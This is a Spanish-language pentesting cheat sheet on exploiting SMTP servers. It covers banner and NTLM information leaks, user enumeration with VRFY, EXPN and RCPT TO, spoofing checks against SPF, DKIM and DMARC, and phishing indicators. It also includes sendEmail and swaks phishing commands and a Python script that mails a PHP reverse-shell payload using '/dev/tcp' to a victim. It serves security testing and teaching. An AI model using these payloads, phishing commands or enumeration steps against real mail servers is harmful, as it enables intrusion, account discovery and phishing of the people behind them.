25, 465 587 - SMTP

explotar servicio de correo SMTP

INFORMACIÓN BÁSICA

Protocolo que permite enviar y recibir correo (Simple Mail Transfer Protocol)

El servidor SMTP es un ordenador encargado de llevar a cabo el servicio SMTP, haciendo las veces de “cartero electrónico” y permitiendo el transporte de ese correo electrónico por Internet. La retransmisión SMTP funciona de un modo muy sencillo: si el servidor SMTP confirma las identidades del remitente y del destinatario, entonces el envío se realiza. Digamos que es como la oficina de correos de la web: recoge el email del remitente y lo entrega en la oficina de correos local del destinatario, que es otro servidor SMTP. Nació en 1982 y sigue siendo el estándar de Internet más utilizado a día de hoy.

Utiliza los siguientes puertos por defecto: 25 / TCP 587 / TCP (Alternativo) 465 / TCP (SMTPSecure)

La información se envía en formato UNICODE y debe ser menor de 1000 caracteres. Si no, se utilizaran varios correos. Para enviar termina en “.”[Intro]. Cada vez que hacemos una comunicación con el servidor nos devuelve un código de 3 dígitos + Texto descriptivo. Segun los digitos del codigo tenemos:

Primer dígito numérico

1- Se acepta el comando del cliente, pero espera que el cliente continúe 2- Comando finalizado correctamente. 3- Respuesta positiva. En espera de información del cliente. 4- Respuesta negativa. Comando rechazado, intentar de nuevo (no finaliza conexión) 5- Respuesta negativa. Comando rechazado.

Segundo dígito numérico

0- Sintaxis 1- información 2- Conexiones 5- Sistema de correo

Tercer digito numerico

Amplia información.

ESTABLECER CONEXIÓN

Para establecer la conexión utilizamos programas básicos:

nc 192.168.1.5 25

telnet 192.168.1.5 25

COMANDOS BÁSICOS

HELO: para abrir una sesión con el servidor. • EHLO: para abrir una sesión, en el caso de que el servidor soporte extensiones definidas en el RFC 1651. • MAIL FROM: para indicar quien envía el mensaje. • RCPT TO: para indicar el destinatario del mensaje. • DATA: para indicar el comienzo del mensaje, este finalizará cuando haya una línea únicamente con un punto. • QUIT: para cerrar la sesión. • RSET: Aborta la transacción en curso y borra todos los registros. • SEND: Inicia una transacción en la cual el mensaje se entrega a una terminal. • VRFY: Solicita al servidor la verificación de todo un argumento. 250 usuario encontrado 251 usuario encontrado no local 550 buzón no encontrado • EXPN: Solicita al servidor la confirmación del argumento. • HELP: Permite solicitar información sobre un comando.

ACCIONES BÁSICAS

SMTP:

nc -vn <IP> 25

SMTPS:

openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587

Encontrar servidores MX de una empresa

dig +short mx google.com

Enumeración

nmap -p25 --script smtp-commands 10.10.10.10

Autenticación NTLM - Information disclosure

Si el servidor soporta autenticación NTLM (Windows) puedes obtener información sensible (versiones)

root@kali: telnet example.com 587 
220 example.com SMTP Server Banner 
>> HELO 
250 example.com Hello [x.x.x.x] 
>> AUTH NTLM 334 
NTLM supported 
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA= 
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA

Tambien se puede automatizar con el script de nmap:

smtp-ntlm-info.nse

Nombre interno del servidor - Information disclosure

Algunos servidores SMTP autocompletan la dirección del remitente cuando el comando "MAIL FROM" se envía con una dirección incompleta, mostrando su nombre interno:

220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at  Wed, 15 Sep 2021 12:13:28 +0200 
EHLO all
250-somedomain.com Hello [x.x.x.x]
250-TURN
250-SIZE 52428800
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK

Sniffing

Se pueden esnifar passwords de los paquetes enviados al puerto 25.

ENUMERACIÓN DE NOMBRE DE USUARIO

No siempre es obligatorio autenticarse.

RCPT TO

$ telnet 10.0.10.1 25
Trying 10.0.10.1...
Connected to 10.0.10.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO x
250 myhost Hello [10.0.0.99], pleased to meet you
MAIL FROM:test@test.org
250 2.1.0 test@test.org... Sender ok
RCPT TO:test
550 5.1.1 test... User unknown
RCPT TO:admin
550 5.1.1 admin... User unknown
RCPT TO:ed
250 2.1.5 ed... Recipient ok

VRFY

$ telnet 10.0.0.1 25
Trying 10.0.0.1...
Connected to 10.0.0.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
250 myhost Hello [10.0.0.99], pleased to meet you
VRFY root
250 Super-User <root@myhost>
VRFY blah
550 blah... User unknown

EXPN

$ telnet 10.0.10.1 25
Trying 10.0.10.1...
Connected to 10.0.10.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
EXPN test
550 5.1.1 test... User unknown
EXPN root
250 2.1.5 <ed.williams@myhost>
EXPN sshd
250 2.1.5 sshd privsep <sshd@mail2>

Herramientas automáticas

Metasploit: auxiliary/scanner/smtp/smtp_enum
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
Nmap: nmap --script smtp-enum-users <IP>

Reporte DSN

Delivery Status Notification Report. Cuando enviamos un email a una dirección incorrecta dentro de una organización, la organización mandará un correo de vuelta notificando que la dirección no es válida.

Los Headers del email devuelto pueden contener información sensible:

  • Dirección IP del servicio de e-mail.

  • Información del software Antivirus.

COMANDOS

Enviar un mail desde la consola de Linux

root@kali:~# sendEmail -t itdept@victim.com -f techsupport@bestcomputers.com -s 192.168.8.131 -u Important Upgrade Instructions -a /tmp/BestComputers-UpgradeInstructions.pdf
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
  - First line must be received within 60 seconds.
  - End manual input with a CTRL-D on its own line.

IT Dept,

We are sending this important file to all our customers. It contains very important instructions for upgrading and securing your software. Please read and let us know if you have any problems.

Sincerely,
swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197

Enviar un mail desde Python

from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import smtplib
import sys

lhost = "127.0.0.1"
lport = 443
rhost = "192.168.1.1"
rport = 25 # 489,587

# create message object instance
msg = MIMEMultipart()

# setup the parameters of the message
password = "" 
msg['From'] = "attacker@local"
msg['To'] = "victim@local"
msg['Subject'] = "This is not a drill!"

# payload 
message = ("<?php system('bash -i >& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))

print("[*] Payload is generated : %s" % message)

msg.attach(MIMEText(message, 'plain'))
server = smtplib.SMTP(host=rhost,port=rport)

if server.noop()[0] != 250:
    print("[-]Connection Error")
    exit()

server.starttls()

# Uncomment if log-in with authencation
# server.login(msg['From'], password)

server.sendmail(msg['From'], msg['To'], msg.as_string())
server.quit()

print("[***]successfully sent email to %s:" % (msg['To']))

MAIL SPOOFING

La mayor parte de esta sección ha sido extraída del libro Network Security Assessment 3rd Edition.

Los mensajes SMTP son fácilmente spoofeables. Es por eso que las organizaciones utilizan SPF, DKIM y DMARC para prevenir el envío de correos no autorizados.

SPF

Sender Policcy Framework a facilita un mecanismo que permite a los Agentes de Transferencia de Correo (MTA) comprobar si un host enviando un correo era autorizado o no.

Las organizaciones pueden definir una lista de servidores de correo autorizados y los MTAs pueden realizar búsquedas en dicha lista para saber si un email era spoof.

Para definir los rangos de IP, dominios y otras estructuras que están autorizados a enviar correo, existen diferentes mecanismos que pueden aparecer en el registro SPF:

Mecanismos

Además, podemos utilizare Cualificadores para indicar qué hay que hacer cuando un mecanismo coincide.

Por defecto se utiliza el cualificador "+".

Al final de las políticas de SPF podemos ver siempre ~all o -all. Esto significa que si ninguno de los anteriores mecanismos coincide, se marca el mensaje como sospechoso (~) o rechazado (-).

Cualificadores

  • + para ACEPTAR el resultado. Puede omitirse.

  • ? para NEUTRAL. Se interpreta como que no tiene política.

  • ~ para SOSPECHOSO. Es un intermedio entre ? y -. Normalmente son aceptados pero marcados.

  • - para DENEGAR. El correo es rechazado.

En el ejemplo siguiente podemos ver las políticas SPF de google.com:

kali@kali:~$ dig txt google.com | grep spf
google.com.             235     IN      TXT     "v=spf1 include:_spf.google.com ~all"

kali@kali:~$ dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com.               IN      TXT
_spf.google.com.        235     IN      TXT     "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"

kali@kali:~$ dig txt _netblocks.google.com | grep spf
_netblocks.google.com.  1606    IN      TXT     "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"

kali@kali:~$ dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908    IN      TXT     "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"

kali@kali:~$ dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903    IN      TXT     "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"

Antes, se podía spoofear cualquier nombre de dominio que no tuviera correctamente establecidas las políticas SPF.

Actualmente, en cambio, si un email viene de un dominio sin politicas SPF válidas, lo mas probable es que sea marcado como sospechoso o directamente denegado.

Automatización

Existen herramientas para comprobar el SPF de un servidor como por ejemplo:

DKIM

DomainKeys Identified Mail es un mecanismo mediante el cual los emails que se envían son firmados y validados por un MTA mediante una clave pública del dominio que se envía vía DNS.

La clave DKIM se almacena en un registro TXT del dominio. Sin embargo, necesitas tanto el selector (del Header del correo) como el nombre de dominio para obtenerla.

DKIM-Signature Por ejemplo: d=gmail.com;s=20120113

dig 20120113._domainkey.gmail.com TXT | grep p=
20120113._domainkey.gmail.com. 280 IN   TXT    "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCg
KCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3

DMARC

Domain-based Message Authentication, Reporting & Conformance es un método de autenticación de e-mail que aumenta las posibilidades de SPF y DKIM.

Las políticas marcan a los servidores de correo cómo actuar con los correos de un determinado dominio y reporte.

Para obtener la información DMARC hay que buscar por subdomain _dmarc:

root@kali:~# dig _dmarc.yahoo.com txt | grep DMARC
_dmarc.yahoo.com.  1785 IN TXT "v=DMARC1\; p=reject\; sp=none\; pct=100\; 
rua=mailto:dmarc-yahoo-rua@yahoo-inc.com, mailto:dmarc_y_rua@yahoo.com\;"

root@kali:~# dig _dmarc.google.com txt | grep DMARC
_dmarc.google.com. 600 IN TXT "v=DMARC1\; p=quarantine\; rua=mailto:mailauth-reports@google.com"

root@kali:~# dig _dmarc.paypal.com txt | grep DMARC
_dmarc.paypal.com. 300 IN TXT "v=DMARC1\; p=reject\; rua=mailto:d@rua.agari.com\; 
ruf=mailto:dk@bounce.paypal.com,mailto:d@ruf.agari.com"

PayPal y Yahoo hacen que sus servidores mail denieguen los mensajes que contienen firmas DKIM no válidas o no provienen de sus servidores. Además envían notificaciones a direcciones e-mail dentro de cada empresa.

Google en cambio hace que sus servidores pongan los mensajes en cuarentena en vez de denegarlos directamente.

DMARC tags

Subdominios

Se necesita un registro SPF diferente para cada subdominio al que quieres mandar un correo.

Esto es lógico pues un subdominio puede perfectamente estar en una zona geográfica completamente diferente y tener una definición SPF completamente diferente.

HERRAMIENTAS

Comprobar malas configuraciones de SPF y DMARC

Obtener configuraciones SPF y DMARC automaticamente

Comprobar si es spoofeable

Se puede utilizar la siguiente herramienta online para mandarte un correo a tu propio correo y ver si te llega. Si llega es que la dirección es spoofeable.

INDICADORES DE PHISHING

  • Antigüedad del dominio

  • Links apuntando a direcciones IP.

  • Técnicas de manipulación de links.

  • Archivos adjuntos sospechosos.

  • Contenido del mail roto o ilegible.

  • Valores utilizados diferentes a los del Header.

  • Existencia de un certificado SSL válido y creible.

  • Pagina controlada por páginas de filtrado de contenido web.

EXFILTRACIÓN

Si puedes enviar datos vía SMTP lee el siguiente artículo.

Última actualización